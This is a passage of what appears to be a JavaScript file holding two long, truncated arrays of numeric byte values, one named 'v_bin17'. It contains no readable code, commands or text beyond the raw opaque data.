91,77,0,126,90,214,82,176,249,46,1,100,222,139,104,148,89,203,111,248,234,212,54,84,54,188,91,107,108,250,96,152,72,55,44,213,178,198,103,138,222,35,243,12,143,238,48,105,71,147,56,23,170,220,9,78,205,237,14,135,19,176,226,9,86,163,143,168,233,145,201,206,248,172,102,105,50,148,172,132,113,213,148,60,235,7,1,48,150,195,2,245,111,29,48,77,234,128,74,145,42,246,203,173,93,20,145,173,228,179,115,161,240,228,14,173,48,94,67,224,237,154,143,33,28,168,139,168,176,115,19,78,32,36,16,113,147,151,56,115,45,88,165,155,74,119,147,124,147,182,90,39,8,252,128,39,201,85,0,38,185,197,8,220,49,128,16,197,131,106,82,144,80,77,89,6,174,1,103,151,1,178,94,131,223,248,54,27,87,217,206,22,128,21,50,191,110,249,97,243,12,8,129,73,149,242,93,122,241,23,181,71,80,209,69,86,9,150,27,203,158,192,214,191,60,60,72,59,171,212,252,175,224,59,183,109,9,231,214,188,4,230,204,73,110,162,61,238,222,18,171,192,189,106,24,144,108,248,48,165,245,78,171,249,139,90,98,168,50,123,65,8,139,46,234,216,243,209,109,38,73,49,35,250,160,81,5,224,154,178,225,253,106,153,211,93,145,33,46,42,39,111,195,174,8,127,60,177,13,254,169,172,123,147,73,100,186,110,3,35,197,125,178,60,101,121,167,226,169,141,176,38,137,8,75,213,237,127,58,112,242,72,80,74,7,31,126,99,3,186,253,121,197,2,50,118,83,237,99,68,110,147,122,162,98,87,123,41,227,86,63,206,175,250,5,32,225,118,213,164,68,116,33,147,210,50,218,152,17,103,248,192,121,246,119,182,90,97,162,155,154,126,146,205,246,103,119,160,132,174,114,158,151,138,7,67,127,5,191,87,155,0,27,171,83,170,100,226,65,233,198,76,126,17,39,28,41,255,71,228,44,59,145,159,27,236,119,22,220,203,149,97,114,90,66,41,113,201,187,145,231,35,159,24,66,20,173,233,128,34,97,45,184,37,7,82,212,9,46,122,126,74,156,78,241,190,82,166,48,85,9,255,137,47,29,66,20,127,233,69,31,239,47,84,180,32,6,250,35,166,180,124,224,156,23,23,90,211,177,251,169,196,90,89,33,144,100,241,135,66,49,45,64,142,8,173,86,15,214,19,16,21,190,171,125,221,192,221,13,163,85,73,62,87,17,38,29,134,254,247,30,228,132,30,216,250,82,126,215,153,70,43,73,92,130,194,44,59,132,187,1,152,106,63,140,2,31,226,198,48,9,155,91,151,41,153,120,177,141,206,240,194,238,77,95,86,238,83,39,129,82,23,104,151,230,233,185,76,176,235,28,120,148,145,47,141,166,65,44,89,118,143,33,81,76,58,9,225,144,135,88,225,34,111,33,162,38,137,174,78,69,99,127,88,187,233,84,38,252,122,141,85,148,201,40,93,183,154,65,36,203,105,56,159,124,157,119,99,1,24,136,32,150,193,42,52,3,249,169,185,41,184,32,81,73,24,122,146,212,131,178,210,170,231,124,172,8,38,0,96,139,77,15,124,178,117,36,233,159,197,80,219,179,130,158,146,86,23,193,197,78,170,83,133,158,89,118,142,113,133,235,108,168,187,138,120,99,219,230,212,12,143,30,201,127,78,253,165,64,152,170,46,89,35,109,45,193,196,243,30,55,25,73,75,164,112,141,164,92,202,92,7,140,201,45,109,166,197,124,137,161,31,222,109,94,107,208,111,216,110,54,101,102,161,43,12,160,246,76,18,186,73,251,172,197,218,14,125,242,90,98,86,247,54,12,232,97,248,108,38,54,184,9,160,43,58,47,30,203,9,41,138,106,69,69,254,111,47,23,34,218,25,0,214,185,249,83,216,19,76,100,7,248,127,83,178,23,222,13,250,143,65,228,82,226,144,44,188,132,191,122,73,210,235,7,15,247,169,246,233,91,251,223,243,104,140,198,70,72,106,236,86,63,246,107,87,70,56,137,95,226,99,29,80,234,62,230,46,233,146,255,160,23,228,86,14,5,10,232,116,93,124,149,37,126,240,190,199,192,234,139,166,188,149,188,206,35,67,137,40,201,232,193,50,107,249,239,69,166,246,16,24,152,19,105,215,163,144,113,198,80,232,163,169,186,209,230,164,216,51,119,118,66,253,142,94,242,209,2,176,116,24,73,209,163,93,75,64,39,140,34,211,240,181,49,160,68,150,109,79,122,157,245,222,237,179,150,22,16,230,46,153,239,17,56,80,75,91,80,169,32,96,112,96,78,110,175,144,241,25,245,75,89,244,127,123,176,234,40,224,161,178,129,144,10,211,187,195,124,219,18,198,159,228,249,18,171,197,28,224,125,142,123,143,52,3,219,34,128,164,6,173,53,236,179,210,18,200,29,189,140,248,149,30,72,123,241,72,164,38,65,210,158,234,120,6,25,40,206,200,111,167,99,14,180,234,157,207,5,254,173,23,10,66,101,48,74,162,12,62,115,120,31,50,164,15,79,164,47,134,145,49,111,141,206,42,211,206,181,195,30,103,215,180,162,133,71,151,157,90,105,208,106,20,175,78,134,39,125,5,165,3,139,43,249,4,85,124,78,42,16,230,100,83,29,103,39,255,14,204,216,124,127,37,18,54,140,131,202,197,134,251,253,233,80,70,184,207,201,40,154,110,35,19,59,242,46,212,49,155,139,116,46,134,242,24,64,96,180,55,154,242,189,239,49,58,204,184,102,165,43,161,211,35,215,222,215,72,154,187,165,166,65,79,131,135,250,111,14,80,121,16,43,65,235,254,194,13,232,86,198,178,116,151,205,29,108,252,47,5,170,142,116,206,50,197,190,183,153,83,252,248,95,193,17,87,73,92,168,2,19,74,196,202,97,147,53,190,90,90,20,190,116,83,82,21,220,63,180,2,196,211,12,75,255,164,185,2,206,125,64,45,139,207,205,116,104,118,2,154,173,185,73,34,0,148,216,237,91,252,131,83,163,92,129,94,231,160,108,162,155,17,171,201,164,244,142,241,81,71,96,74,167,22,45,229,244,169,174,56,211,38,249,121,61,210,62,246,109,3,244,173,64,105,186,3,157,183,95,59,173,220,104,4,84,107,17,229,138,44,176,27,54,114,185,193,5,75,193,30,244,166,98,229,224,224,18,78,4,106,178,50,52,44,98,123,160,138,144,184,101,147,167,146,38,123,105,162,193,95,250,177,230,166,143,250,185,41,242,81,35,5,152,159,199,34,73,75,231,154,84,251,17,0,202,236,57,50,192,35,94,21,147,60,143,31,224,188,184,85,130,231,48,246,85,17,20,66,32,89,1,21,196,91,122,154,136,142,115,202,234,40,70,191,14,58,17,92,177,224,24,36,25,230,152,150,22,142,237,61,28,199,221,60,110,75,79,145,108,46,168,102,64,237,9,169,123,243,159,48,73,23,203,143,101,158,95,8,18,182,182,207,185,129,7,2,95,153,223,226,135,3,187,88,223,136,117,177,198,33,174,25,177,140,188,228,17,26,37,196,92,155,95,140,138,41,175,13,161,189,3,134,178,213,120,12,74,126,200,90,207,4,116,208,130,89,243,144,236,90,6,231,93,155,143,38,120,157,135,49,44,66,137,186,218,43,123,227,142,211,123,215,217,8,66,122,181,104,224,175,82,56,133,143,219,250,184,12,154,130,55,187,206,98,38,181,239,236,110,147,32,221,10,235,0,135,126,110,57,167,132,118,40,161,80,143,188,23,209,24,97,237,175,134,104,166,123,136,175,146,89,32,52,199,2,245,34,152,16,155,106,1,89,108,139,226,187,175,108,227,199,195,7,15,96,203,102,122,238,130,122,243,44,212,245,59,100,46,236,148,243,81,89,206,238,111,62,236,204,231,46,191,233,238,96,235,121,88,244,21,89,216,100,1,212,25,245,164,167,22,121,55,39,182,184,53,5,252,123,152,56,222,230,168,191,5,98,40,45,251,235,226,193,109,34,210,10,164,123,196,86,180,24,253,50,179,162,134,65,252,59,186,186,37,127,41,248,35,141,125,35,214,118,5,91,57,207,231,203,249,14,57,15,90,112,201,167,88,104,249,41,105,16,61,186,113,89,142,10,37,109,78,171,20,144,212,208,41,185,219,48,50,192,247,106,5,236,156,95,86,67,92,254,105,236,204,98,9,143,64,209,198,190,149,61,220,227,95,64,152,31,32,26,1,226,113,156,230,86,248,37,150,84,208,164,183,53,166,193,182,232,78,228,28,74,4,199,74,33,233,36,151,190,57,199,34,224,56,67,62,173,121,56,21,160,42,46,125,133,188,143,41,93,58,62,209,101,186,232,64,232,208,90,130,133,90,3,72,57,101,90,141,223,5,151,210,211,110,43,237,245,168,132,174,198,89,203,25,221,208,217,149,30,86,49,103,227,184,15,104,236,238,231,156,153,84,189,241,14,7,29,239,8,157,215,198,71,189,214,48,63,27,125,166,151,30,119,76,178,91,95,105,26,3,223,216,133,13,235,15,25,18,220,13,194,209,84,101,206,87,19,238,162,86,197,53,164,131,5,38,229,93,153,178,242,140,204,239,18,215,4,164,249,66,255,230,184,185,128,142,53,227,27,96,177,165,132,72,76,90,117,246,251,253,165,9,94,201,143,185,156,117,139,13,141,107,255,15,75,192,255,213,16,101,66,152,35,166,216,242,1,77,205,17,125,158,207,209,56,158,156,63,204,178,108,183,168,223,28,187,80,225,134,136,211,222,135,130,9,4,144,123,214,187,125,94,9,17,233,101,2,79,196,250,35,131,52,57,184,171,123,42,219,140,218,61,17,98,231,134,180,141,36,218,120,50,125,242,225,221,130,45,214,144,163,74,15,246,115,135,186,162,194,49,96,49,115,103,18,127,235,251,215,134,33,11,103,29,82,107,162,77,222,229,132,172,191,225,210,99,0,17,222,194,66,122,121,73,153,195,204,30,69,48,39,40,90,13,211,194,156,177,69,190,14,141,200,101,240,122,111,197,13,10,51,124,216,219,174,26,209,6,15,157,8,37,148,149,28,7,209,134,55,121,247,99,183,77,109,18,7,54,180,185,154,177,196,254,140,167,170,25,45,156,126,204,171,1,16,240,53,208,237,91,129,88,199,222,71,173,210,41,26,158,75,138,45,75,254,50,199,143,152,36,218,206,106,116,8,56,92,115,68,90,158,132,45,64,255,156,5,11,40,0,173,179,153,37,147,248,207,41,233,71,26,163,89,180,190,81,229,26,97,168,51,143,42,24,117,38,128,169,37,160,195,28,0,99,103,53,134,151,21,146,73,227,200,206,131,122,142,135,4,91,0,3,177,171,205,0,45,229,6,220,109,55,124,30,113,33,65,199,163,246,215,221,2,42,239,254,96,42,154,88,241,215,180,47,193,166,201,198,76,98,214,82,131,161,209,237,246,86,6,170,197,25,160,47,187,224,22,61,145,175,162,66,212,109,138,187,26,232,202,139,233,166,148,92,146,35,117,158,252,127,143,18,201,246,21,124,218,83,45,32,128,97,94,149,123,46,169,229,122,122,91,215,157,124,162,80,185,138,86,160,243,42,1,150,234,163,160,111,215,36,21,23,224,58,169,79,173,57,78,28,51,3,224,36,152,214,255,209,65,181,170,87,121,174,29,164,46,239,178,219,139,226,46,90,184,91,218,82,122,125,167,193,238,233,14,231,94,14,202,206,230,62,6,64,142,255,81,99,70,30,96,55,176,170,238,248,16,114,200,134,171,254,4,175,102,182,10,54,141,192,201,183,251,119,130,69,220,33,72,39,151,129,89,67,195,220,246,221,179,242,132,253,241,211,15,147,221,162,138,65,199,229,199,44,82,13,1,223,113,36,44,184,70,180,65,189,20,223,182,15,96,249,72,75,209,57,78,50,28,32,174,185,191,4,41,78,119,70,219,239,170,136,86,213,235,190,108,251,100,255,212,85,230,61,235,186,83,163,67,233,137,91,226,138,218,148,255,237,246,103,187,104,73,40,124,150,11,186,51,20,76,114,215,229,159,100,248,179,214,181,11,238,233,93,88,50,10,148,149,171,219,37,13,110,65,1,249,104,84,142,132,41,42,223,178,246,172,7,202,106,0,211,45,224,34,127,196,193,112,70,218,78,41,54,199,65,172,42,26,52,2,82,141,173,39,42,135,207,221,131,14,126,216,186,135,172,41,228,249,22,251,2,85,47,36,11,198,235,107,134,84,11,218,215,240,249,140,104,12,136,231,103,81,123,61,68,108,81,200,230,191,64,104,7,40,208,35,80,27,96,185,28,221,184,99,179,107,211,235,88,145,21,159,111,131,45,148,180,206,1,212,242,138,50,79,63,209,119,0,68,97,87,25,17,20,69,193,231,102,16,22,83,84,190,238,66,44,75,4,229,29,227,6,137,58,209,87,179,3,153,125,53,50,163,42,49,215,88,205,84,89,145,11,234,251,196,52,254,132,0,142,226,81,169,170,135,124,74,148,185,59,147,80,146,117,64,234,179,218,179,255,176,230,102,212,203,28,65,190,216,169,215,102,168,50,208,183,78,153,93,112,4,8,238,142,186,234,36,211,49,245,153,236,16,20,159,215,173,106,187,245,122,109,71,36,131,215,27,167,153,221,135,141,39,204,10,224,223,160,249,15,20,195,101,89,229,127,36,194,247,250,155,178,231,183,233,109,233,234,208,234,178,39,18,216,4,36,93,50,173,4,44,125,94,158,16,210,194,218,60,41,64,181,158,125,170,246,166,24,36,247,73,124,38,163,99,14,63,255,197,202,229,157,151,229,113,214,164,119,224,37,72,10,182,100,114,173,184,35,152,251,177,171,1,126,125,32,61,10,55,153,207,131,187,113,105,95,31,151,124,239,118,223,219,52,62,31,96,20,124,36,249,66,72,64,152,61,56,214,246,185,3,106,79,214,32,80,61,29,176,203,13,146,53,124,185,71,85,71,128,88,43,204,196,175,86,88,8,90,188,74,166,189,202,134,197,25,93,142,63,155,174,25,88,45,27,2,124,171,127,164,16,59,248,115,218,215,128,75,212,156,74,225,169,76,141,118,44,14,125,122,8,70,66,160,248,222,19,75,166,28,34,147,169,91,146,211,187,191,30,121,61,75,179,69,217,44,17,163,49,23,181,116,167,180,50,141,254,59,61,183,46,211,240,154,168,103,32,222,207,87,43,37,72,205,105,31,101,114,133,26,222,52,166,79,213,47,52,22,225,42,183,79,0,135,65,215,103,238,129,167,43,16,38,240,33,51,244,118,100,8,53,194,135,59,246,192,78,252,202,80,207,107,119,85,177,185,21,124,129,53,14,110,145,71,29,245,106,208,79,55,183,200,125,12,135,25,58,246,80,229,83,57,135,6,161,250,42,90,102,133,207,77,66,72,194,61,63,244,49,79,237,50,152,199,194,113,113,66,53,115,180,62,124,101,28,48,65,131,27,217,123,215,115,150,246,173,53,161,74,234,84,12,197,161,199,74,18,165,64,50,40,185,220,167,217,158,100,226,163,82,239,123,207,74,236,180,10,35,45,208,65,186,73,100,197,243,168,79,103,118,51,231,247,231,16,24,77,26,22,102,219,61,219,57,50,188,170,91,51,21,10,85,80,189,72,8,57,195,33,255,52,236,160,53,185,133,31,165,153,47,67,228,242,24,134,71,241,88,174,245,219,182,235,193,114,119,123,233,101,239,191,48,5,186,87,50,88,203,142,107,105,253,211,220,219,219,15,41,129,119,232,147,157,176,153,60,4,236,247,77,113,188,102,226,59,91,237,100,72,239,111,188,24,155,91,206,206,116,194,253,50,62,66,187,180,209,226,48,187,157,17,216,120,78,93,161,148,181,43,145,98,6,72,250,24,115,23,17,26,100,32,206,23,80,95,129,123,134,207,193,46,25,232,147,19,195,36,81,156,102,249,60,56,146,251,217,109,249,211,93,222,253,123,94,158,87,174,114,187,62,211,157,252,217,133,86,237,92,72,63,195,197,118,116,222,121,37,24,164,183,52,86,88,110,61,198,146,115,40,232,71,176,216,103,158,140,80,13,134,228,11,222,58,135,70,224,41,86,253,75,168,207,12,162,27,53,127,246,175,185,150,72,228,162,227,20,223,162,54,128,172,114,40,240,213,226,22,5,31,89,109,174,22,90,46,114,146,108,60,205,164,28,200,121,196,137,3,209,75,229,90,156,60,78,87,56,61,187,103,17,98,202,18,174,141,185,172,78,55,214,112,19,121,203,19,165,83,178,1,104,253,131,91,211,65,60,86,89,254,8,25,106,86,160,193,75,150,110,115,53,81,201,116,124,97,47,158,57,72,28,178,158,0,175,60,201,30,40,66,82,54,177,162,252,76,199,138,103,59,33,208,128,17,232,4,138,137,254,10,173,226,136,44,93,21,5,252,131,83,249,158,203,91,58,120,74,114,172,171,194,42,254,244,187,47,140,85,34,25,48,100,44,189,56,218,69,199,253,110,2,167,53,118,123,49,131,76,92,234,190,119,20,94,83,119,203,121,47,252,45,18,26,72,42,244,153,250,230,200,158,200,38,218,1,174,208,114,84,55,104,68,185,80,245,229,201,219,197,65,13,140,30,168,188,99,193,92,44,186,242,29,142,83,151,106,24,208,20,207,73,249,104,189,214,48,6,2,22,76,219,231,185,46,216,126,34,137,181,252,73,99,49,178,188,114,63,101,220,250,60,75,137,236,68,57,209,215,5,130,78,149,111,114,30,241,48,198,155,205,49,221,43,93,153,255,123,12,113,225,150,90,123,216,136,110,210,73,220,85,20,212,199,166,201,19,202,139,54,67,90,76,166,127,72,136,239,223,54,90,207,94,239,168,1,100,5,49,245,141,51,129,75,156,91,96,55,0,168,128,245,162,99,214,107,32,3,183,37,166,7,252,129,116,161,144,66,155,35,124,199,17,97,115,15,129,222,106,194,29,129,143,114,200,178,107,139,33,161,192,56,157,160,164,196,216,112,80,242,216,141,231,13,137,75,254,168,90,39,9,198,42,249,9,44,94,18,17,231,214,184,96,167,72,255,131,58,82,127,218,49,234,72,165,132,231,181,151,211,132,171,112,118,18,15,80,170,145,72,80,174,93,164,8,49,207,247,184,191,144,29,65,95,58,59,207,93,186,180,231,37,255,203,161,152,50,195,98,178,167,148,157,41,138,40,209,83,215,135,200,64,3,205,118,111,145,16,38,0,139,121,94,248,182,250,149,65,211,125,121,225,234,149,187,230,218,199,115,254,213,121,252,14,64,81,70,71,84,77,86,184,138,115,228,164,229,129,10,111,216,9,35,47,124,65,247,175,132,145,106,88,226,160,207,113,134,102,125,15,123,195,83,205,94,206,171,148,229,207,65,132,175,106,49,176,65,114,158,10,153,178,69,80,138,201,141,49,211,120,182,202,30,123,243,67,159,253,245,200,193,83,82,52,25,28,206,83,146,97,10,85,65,62,235,154,187,78,194,4,38,166,224,229,180,193,102,64,152,232,29,142,49,159,3,107,245,71,10,175,77,123,111,160,119,188,185,110,141,80,8,241,111,43,186,237,176,240,22,241,237,179,108,137,62,162,158,192,142,247,27,180,229,167,159,109,199,111,46,23,237,130,121,225,9,8,168,61,109,199,24,168,126,101,191,217,218,211,159,141,239,116,53,199,210,146,236,61,220,234,240,162,72,13,45,172,92,46,170,169,26,61,66,242,35,7,121,100,74,77,34,241,124,227,207,108,175,203,53,46,1,9,85,214,158,98,246,77,193,243,191,192,79,141,148,154,199,9,172,87,158,220,193,110,23,25,241,146,182,69,93,235,171,234,12,23,166,99,12,204,39,59,77,85,39,182,65,199,220,173,46,255,183,195,73,238,186,137,39,215,110,104,145,98,124,135,15,249,255,206,158,23,251,88,70,244,0,223,12,157,204,5,2,158,93,41,133,9,203,215,89,198,219,62,140,114,15,158,156,248,179,211,127,153,97,218,198,64,52,249,173,245,188,43,225,81,94,157,179,200,254,75,123,214,193,68,63,131,117,218,242,3,52,169,232,169,158,164,55,56,238,104,8,135,97,30,26,38,124,238,119,56,120,59,186,248,127,17,101,111,33,63,153,16,196,144,73,141,47,254,247,10,28,109,205,145,219,227,110,206,224,23,213,182,128,81,4,147,165,162,195,91,66,48,219,64,79,9,208,57,37,248,26,61,3,228,59,94,147,120,139,94,98,191,83,0,127,161,65,206,113,147,119,136,48,23,44,45,102,41,240,125,200,202,189,247,183,7,78,247,238,93,219,92,253,99,181,83,130,39,28,97,43,236,94,96,38,127,84,105,96,116,10,148,4,227,186,169,167,223,230,127,247,253,20,168,86,32,24,109,179,142,55,30,182,92,122,29,3,240,29,57,201,231,143,82,198,116,80,240,63,174,38,135,187,218,107,56,111,69,210,204,47,242,123,137,193,243,96,107,133,82,255,108,157,73,40,5,244,43,200,76,44,57,19,190,36,231,66,145,219,235,245,110,145,171,242,64,6,204,13,18,129,188,80,110,206,23,33,155,33,105,49,144,44,242,30,60,148,175,70,169,69,235,61,131,202,39,11,66,3,18,145,185,4,59,252,204,192,180,249,219,132,135,122,119,43,128,241,101,99,203,67,106,53,111,180,162,5,101,155,255,201,50,175,67,152,50,40,81,81,147,106,67,72,56,158,183,114,26,43,149,147,13,242,22,63,230,198,145,197,175,179,227,66,205,54,85,164,13,190,46,109,76,180,166,171,51,156,8,34,206,69,43,192,18,202,114,6,92,221,187,147,19,90,47,121,73,225,160,172,169,65,242,164,96,4,189,96,92,220,170,50,106,251,229,116,225,158,84,116,219,137,79,177,168,121,131,41,65,177,125,238,139,42,78,44,40,174,251,33,79,230,199,11,58,177,220,16,73,209,166,247,160,92,84,5,20,63,104,88,104,135,26,87,220,154,118,136,77,24,127,18,145,110,22,84,227,115,136,249,252,118,41,237,113,110,251,92,96,0,150,83,171,116,100,105,46,248,66,85,128,200,253,164,3,233,234,145,24,159,29,110,130,237,57,176,80,70,16,24,176,248,119,4,94,200,70,88,112,33,81,105,88,163,250,196,7,128,22,43,63,111,0,27,231,181,158,187,128,8,161,87,227,38,185,183,182,224,164,99,133,149,1,192,189,28,107,3,250,34,75,136,77,28,8,242,250,49,120,75,232,128,221,13,41,41,224,35,140,52,238,192,190,150,177,37,52,120,139,249,150,10,252,240,115,35,226,29,38,24,28,177,120,120,149,153,33,123,215,182,16,102,108,57,114,234,222,104,202,252,149,251,106,194,119,208,4,48,55,248,201,99,20,12,83,111,132,92,95,44,139,165,205,230,37,171,118,170,125,90,223,215,60,61,56,237,174,45,188,47,117,27,162,88,184,12,103,193,241,144,155,249,55,92,223,1,52,8,19,97,36,138,184,249,131,206,54,73,98,101,49,66,25,3,91,190,69,193,255,253,22,118,56,219,214,123,93,58,135,203,127,245,161,135,110,192,60,70,241,30,155,185,204,151,152,188,223,228,83,150,86,51,252,92,224,253,219,134,212,11,187,96,179,26,8,42,205,209,100,102,204,12,58,244,91,44,255,144,102,104,209,119,119,115,106,33,169,123,149,102,28,62,95,233,254,246,239,239,122,121,68,46,30,46,79,190,127,63,205,52,160,62,236,143,221,49,196,239,126,248,164,115,135,215,146,212,95,176,123,78,100,21,81,7,46,106,46,146,144,55,196,88,30,218,77,11,66,27,148,6,62,50,86,210,5,64,40,165,223,118,153,20,216,70,212,40,240,78,110,148,200,202,197,236,148,158,48,144,204,127,134,162,168,73,140,26,35,91,181,253,123,206,20,89,224,39,130,204,170,230,4,168,74,72,185,23,2,168,244,120,214,212,111,140,100,109,9,122,88,32,17,155,168,198,178,56,144,181,132,214,233,219,45,103,124,115,147,230,79,88,4,20,104,69,42,174,201,90,175,15,140,123,202,83,52,252,22,151,226,25,176,236,205,104,33,11,96,195,0,95,52,205,244,7,143,53,61,40,127,184,141,43,27,228,225,147,132,240,130,241,236,59,211,98,87,0,4,243,141,214,197,177,109,74,250,4,115,47,44,217,57,195,66,12,101,214,162,236,143,108,224,205,180,221,31,122,4,114,119,197,159,86,229,242,141,178,113,235,239,48,233,20,75,201,16,116,49,133,246,183,215,246,18,169,90,96,138,137,162,122,113,152,79,149,165,117,122,134,247,158,6,191,206,52,82,116,42,90,234,176,83,166,239,139,135,77,113,134,150,34,205,7,89,84,248,207,156,178,159,87,29,55,152,33,65,53,20,19,157,105,139,40,193,254,244,187,235,162,42,234,112,103,130,137,42,209,81,17,66,113,181,110];
var v_bin17 = [187,145,222,196,163,135,115,222,117,172,219,110,150,76,42,61,106,236,51,165,53,147,118,176,32,132,56,236,176,144,133,145,211,78,125,60,65,182,51,81,122,89,210,232,5,65,246,240,215,153,195,148,123,60,38,36,76,80,124,167,63,2,200,92,106,144,55,245,13,8,132,188,70,172,122,145,102,99,232,7,65,142,185,166,132,91,188,34,8,204,119,147,246,54,28,198,185,246,255,60,242,189,121,231,7,90,58,150,145,186,31,85,254,180,14,131,250,53,133,25,229,50,16,163,100,154,192,184,200,118,187,141,242,69,102,150,127,82,116,15,219,230,6,152,82,59,51,186,115,183,157,126,95,71,207,34,231,50,99,17,27,92,79,42,100,162,215,230,198,210,49,72,248,70,200,194,229,178,145,28,141,165,41,11,128,219,72,139,112,20,207,130,152,51,36,119,148,92,66,120,60,39,42,221,179,131,164,209,244,147,66,222,184,69,2,18,29,159,229,115,212,201,252,158,19,143,172,239,75,180,221,86,39,67,102,127,168,30,28,41,130,228,253,130,234,182,187,86,90,58,193,41,49,95,254,110,206,182,242,217,45,140,146,6,199,243,221,102,157,212,27,74,152,156,28,254,101,250,148,94,201,192,237,97,200,199,185,37,199,99,208,5,144,5,92,141,134,156,25,248,36,149,215,85,234,23,175,158,65,247,154,142,115,165,147,237,23,139,205,73,89,110,254,248,164,249,12,226,178,56,196,59,128,108,184,56,120,162,239,179,92,244,162,151,88,25,68,19,52,2,0,206,170,152,171,120,199,39,150,158,133,16,248,158,208,129,118,133,144,229,238,135,99,201,184,162,47,218,188,122,87,159,150,53,235,169,42,223,178,15,113,130,82,241,81,101,118,155,28,226,85,149,107,21,119,222,113,57,23,24,245,4,1,67,87,95,4,194,106,237,35,215,239,152,5,75,110,26,65,235,197,13,152,148,116,156,233,148,173,202,215,60,142,37,124,238,8,30,102,52,235,187,167,12,223,154,213,169,193,117,236,252,121,27,126,4,160,93,214,250,237,75,15,25,215,59,205,8,186,94,199,49,18,11,161,84,69,75,190,60,119,28,147,187,120,180,107,17,122,51,53,223,162,74,121,100,55,47,66,157,75,25,15,165,53,165,125,47,120,238,129,206,137,135,147,89,114,8,83,9,250,164,15,188,124,20,171,200,190,32,85,164,118,193,175,245,140,229,189,45,27,140,75,107,100,63,52,90,197,2,205,230,58,136,186,43,51,3,224,63,226,198,231,0,113,252,167,41,48,139,99,170,28,81,8,245,173,55,141,242,24,235,11,34,101,182,91,54,201,130,247,64,193,208,119,67,36,180,203,151,55,206,57,167,95,113,34,241,194,34,136,122,35,228,154,231,109,216,142,83,59,118,89,24,76,25,120,12,59,253,192,18,249,5,191,34,161,155,127,15,57,240,129,7,117,153,0,192,139,96,79,29,149,185,122,129,189,36,197,139,191,150,69,217,244,159,218,110,135,10,15,137,255,196,160,10,192,15,123,142,108,177,160,199,184,78,208,232,197,160,62,153,236,109,42,3,186,184,62,188,5,251,236,67,102,233,172,46,50,4,226,50,27,71,84,171,167,252,117,240,168,84,70,53,26,113,189,109,47,93,228,6,191,126,120,181,228,54,137,228,63,101,38,40,192,176,245,72,224,17,33,190,207,80,47,234,1,62,92,35,112,144,107,156,160,212,94,96,87,195,249,103,38,199,60,55,226,61,226,198,187,64,174,143,45,246,148,233,247,247,53,34,182,242,140,242,247,224,118,94,244,219,189,15,58,232,174,6,93,155,29,193,129,102,229,120,119,141,214,63,239,22,72,80,149,249,243,85,96,51,4,36,11,60,171,152,25,84,99,46,249,141,250,26,148,110,75,35,19,110,23,152,58,47,210,245,89,216,251,167,35,58,151,5,163,222,164,8,102,127,138,255,125,191,89,79,159,58,158,43,119,163,233,124,21,80,188,92,172,227,222,68,242,101,96,67,244,116,89,242,2,250,255,225,227,178,8,251,70,54,20,2,49,110,97,56,227,37,89,214,12,49,231,18,151,99,185,220,87,170,83,116,152,164,24,21,178,217,84,234,73,57,16,37,79,211,110,253,33,252,147,61,47,214,235,23,17,187,222,137,205,207,94,19,51,116,165,111,191,174,78,194,177,99,110,117,96,249,90,246,179,176,47,7,190,142,70,148,130,140,62,57,195,23,218,119,25,147,132,181,57,137,177,74,14,161,115,154,231,254,121,30,182,105,254,238,189,133,248,56,210,206,124,55,80,6,82,156,231,137,44,32,11,185,243,204,39,203,114,6,38,126,90,140,77,10,205,180,186,13,65,94,206,149,237,125,226,177,133,127,179,239,100,212,130,124,113,88,193,103,99,99,51,207,184,167,237,198,84,106,114,61,9,72,119,34,93,174,27,80,254,33,74,159,81,222,218,202,54,185,76,97,106,166,92,236,225,6,109,9,173,69,136,181,195,87,164,62,192,93,186,250,241,119,233,163,38,100,102,21,115,80,55,195,238,145,57,251,142,227,183,81,68,240,254,147,108,29,148,223,83,26,179,149,240,78,145,191,31,27,104,224,106,12,79,229,90,50,153,55,113,159,230,197,212,77,159,102,141,17,31,4,151,22,17,52,109,194,77,232,31,144,226,243,128,205,151,234,230,135,224,225,134,147,33,2,4,199,206,80,211,185,202,5,111,10,252,26,142,210,243,250,144,72,180,173,15,173,50,209,21,219,201,195,56,91,168,167,89,19,56,126,161,255,140,95,14,142,142,180,143,198,194,18,109,246,248,234,213,250,39,148,60,16,188,19,29,34,232,68,228,134,119,132,31,232,66,101,106,0,63,156,192,71,77,88,82,122,23,132,183,72,98,107,173,196,114,164,238,40,72,134,59,20,113,198,34,95,55,87,207,93,193,12,106,245,219,217,156,40,49,4,146,235,105,118,240,247,168,92,204,217,146,128,145,136,47,22,247,101,18,219,190,55,6,82,196,229,133,27,193,154,193,253,202,125,248,118,47,248,197,252,167,231,164,141,209,107,97,108,3,16,132,63,31,109,139,250,192,33,181,252,43,217,222,218,166,130,127,111,23,236,163,125,195,101,180,180,49,66,144,201,13,142,43,113,156,125,224,50,99,92,140,109,31,144,62,77,120,177,166,104,92,183,33,80,62,30,211,182,251,208,120,106,193,146,189,146,121,176,71,75,182,220,99,26,217,80,153,230,18,115,99,122,232,30,33,58,113,167,15,213,161,212,217,15,100,63,216,63,8,219,40,238,81,105,247,117,64,219,24,184,68,143,217,38,222,103,153,145,15,171,238,75,185,200,56,158,234,214,110,184,65,77,74,207,71,45,106,87,107,245,201,61,116,45,204,66,1,113,71,249,113,46,129,6,44,64,241,154,109,255,213,166,163,159,138,147,174,33,107,7,1,115,250,131,192,200,154,57,39,63,227,128,11,87,75,8,169,166,49,226,230,254,149,8,252,217,87,204,190,88,225,192,2,82,215,243,217,140,226,245,53,111,33,107,169,109,3,201,199,123,64,207,157,176,151,149,26,98,240,156,203,60,131,154,50,193,47,2,152,142,116,58,241,100,32,43,95,211,109,103,185,142,148,72,162,253,160,105,245,83,37,89,11,43,147,34,68,11,233,2,70,129,183,57,37,238,73,220,84,59,174,34,99,210,203,215,137,219,59,83,149,78,35,116,40,102,65,232,62,107,84,234,110,138,160,17,144,139,152,53,248,106,206,70,51,152,128,159,191,113,59,37,81,28,98,104,99,156,137,180,231,154,247,72,161,134,175,87,182,176,219,116,57,122,15,0,21,55,52,86,144,201,201,181,74,210,37,62,247,10,0,250,191,10,51,21,170,85,62,211,215,64,233,194,34,92,255,172,230,96,23,87,201,231,148,80,16,178,191,160,186,144,228,18,197,175,32,30,225,55,22,188,120,223,173,193,131,50,143,63,199,162,138,237,92,224,64,245,154,56,121,186,222,197,173,226,85,122,178,69,230,28,190,21,119,76,130,213,131,194,73,158,191,48,143,244,189,220,157,220,100,111,138,39,18,15,16,237,125,29,14,159,248,201,48,191,55,148,11,40,131,19,130,102,216,63,157,224,88,220,199,28,53,106,186,128,151,254,221,241,79,117,43,39,114,85,233,239,4,111,212,116,60,0,58,54,160,239,219,56,157,109,83,173,250,21,14,124,108,172,142,59,137,205,241,6,156,139,18,138,120,145,230,25,218,210,161,